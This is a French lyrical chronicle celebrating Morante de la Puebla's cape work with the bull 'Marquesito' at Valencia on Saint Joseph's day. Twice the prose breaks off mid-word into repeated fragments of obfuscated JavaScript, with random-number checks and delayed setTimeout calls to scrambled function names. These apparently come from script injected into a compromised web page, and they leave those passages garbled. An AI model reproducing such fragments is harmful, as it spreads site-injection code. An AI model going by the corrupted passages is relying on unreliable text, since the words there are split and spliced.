LE TOREO GARANTIT SA SURVIE

En mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andarine et or était habillé le torero.  La véronique, imprégnée de temple et de prodige. Le toreo devenu un sort exorcisant capable d’hypnotiser la violence pour la transformer en une harmonie placide. Le toreo pénétrant les entrailles mêmes du temps pour en dilater les tissus, les cellules, les atomes, jusqu’à le rendre aussi fluide que la paresseuse douceur du miel. L e torero bercé à la ceinture au rythme de l’immortalité par des poignets de brise et inspirés, parfumés de magie et de mystère. Et dire qu’il y a des gens qui soutiennent encore que toréer n’est pas un art!Un tel enchantement se produisit dans les arènes de Valence, le jour de la Saint Joseph dernier, au sixième toro de l’après-midi. Il avait pour nom“Marquesito”,il était frappé du sceau de Domingo Hernández et portait le numéro 100 sur ses flancs, quatre ans mais dont cinq sur les prés, 536 kilos de poids, noir de robe et noble de condition. L’interprète d’une telle thaumaturgie fut un mage avec l’immense liberté des marécages nichée dans son âme et un mystère martelant sa poitrine dans son désir de sortir au dehors. Son surnom: Morante de la Puebla. Il est le dépositaire actuel du toreo d’Art le plus profond, sensible et fabuleux.Quelle façon de torééer! Quelle façon  la suerte fondamentale du toreo de cape! Quelle capacité d’introspection, pour rêver, pour se libérer du monde réel et nous transporter dans cet espace occulte où le temps peut s’arrêter et le miracle devenir quotidien.Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and l’on torée comme Morante “Marquesito”, le toreo pénètre dans le royaume de Fantaisien où les fées existent, les citrouilles peuvent devenir des carrosses et les petites maisons être toutes en chocolat, tout devient posible. Transporté par cette dimension magique le toreo a sa survie garantie car il nous fait rentrer dans le domaine des rêves, de l’illusion, dans cette part d’enfant que nous avons en nous, et pour en finir avec lui, il faudrait détruire aussi cet être qui en plus de vivre en se battant avec ce qui l’entoure au quotidien est capable de rêver, d’imaginer, d’aimer l’aventure même s’il n’est point aventurier, parce qu’il est toujours habité par l’enfant qu’il fut et qu’il ne cessera jamais d’être amoureux de la beauté. Et la beauté, la magie et l’aventure fut ce que Morante sema dans des arènes de Valence émues, au sixième toro de l’après-midi le jour de la Saint-Joseph.

moranteNetBPhoto Bruno Lasnier

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